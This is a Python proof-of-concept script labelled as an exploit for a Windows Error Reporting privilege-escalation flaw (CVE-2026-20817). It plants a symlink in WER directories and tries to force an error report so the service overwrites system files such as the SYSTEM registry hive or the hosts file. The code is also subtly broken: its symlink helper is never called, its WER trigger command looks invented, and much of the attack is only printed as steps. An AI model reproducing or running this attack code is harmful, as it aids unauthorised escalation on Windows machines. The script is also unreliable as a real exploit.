The following code is for security research and authorized testing only.
python
# CVE-2026-20817 PoC - Windows Error Reporting Privilege Escalation
# This PoC demonstrates the symlink/hardlink attack vector
# Author: Based on vulnerability analysis
# Note: This is for educational purposes only
import os
import sys
import time
import subprocess
import shutil
from pathlib import Path
def create_symlink_attack(target_file, link_path):
"""
Create symlink to redirect file operations
"""
try:
if os.path.exists(link_path):
os.remove(link_path)
os.symlink(target_file, link_path)
print(f"[+] Symlink created: {link_path} -> {target_file}")
return True
except Exception as e:
print(f"[-] Failed to create symlink: {e}")
return False
def trigger_wer_report():
"""
Trigger Windows Error Reporting mechanism
"""
wer_dir = Path("C:/ProgramData/Microsoft/Windows/WER/")
wer_dirs = ["Archive", "ReportQueue", "Temp"]
for dir_name in wer_dirs:
dir_path = wer_dir / dir_name
if dir_path.exists():
print(f"[*] Found WER directory: {dir_path}")
# Trigger crash to generate error report
crash_code = "0xDEADBEEF"
print(f"[*] Triggering application error with code: {crash_code}")
# Force Windows Error Reporting
try:
subprocess.run(["wer", "fault", "/event", crash_code],
capture_output=True, timeout=10)
print("[+] WER report triggered")
except Exception as e:
print(f"[*] WER trigger attempt: {e}")
def exploit():
"""
Main exploitation function
"""
print("=" * 60)
print("CVE-2026-20817 - Windows Error Reporting EoP Exploit")
print("=" * 60)
# Target: WER directories with weak permissions
target_dirs = [
"C:/ProgramData/Microsoft/Windows/WER/Archive",
"C:/ProgramData/Microsoft/Windows/WER/ReportQueue"
]
for wer_dir in target_dirs:
if os.path.exists(wer_dir):
print(f"\n[*] Targeting: {wer_dir}")
# In real attack: create symlinks to system files
# Then trigger WER to overwrite them
symlink_path = os.path.join(wer_dir, "malicious_link")
# Example targets for privilege escalation:
# C:\Windows\System32\config\system
# C:\Windows\System32\drivers\etc\hosts
# C:\Windows\System32\spool\drivers\color\*.*
print("[*] In production exploit:")
print(" 1. Create symlink from WER temp file to target system file")
print(" 2. Trigger application crash")
print(" 3. WER service writes to symlink target")
print(" 4. Gain elevated privileges")
print("\n[*] Exploitation requires:")
print(" - Low privilege code execution on Windows")
print(" - Write access to WER directories")
print(" - Ability to create symlinks (requires SeCreateSymbolicLinkPrivilege)")
print("\n[!] This is a proof-of-concept for vulnerability analysis")
if __name__ == "__main__":
exploit()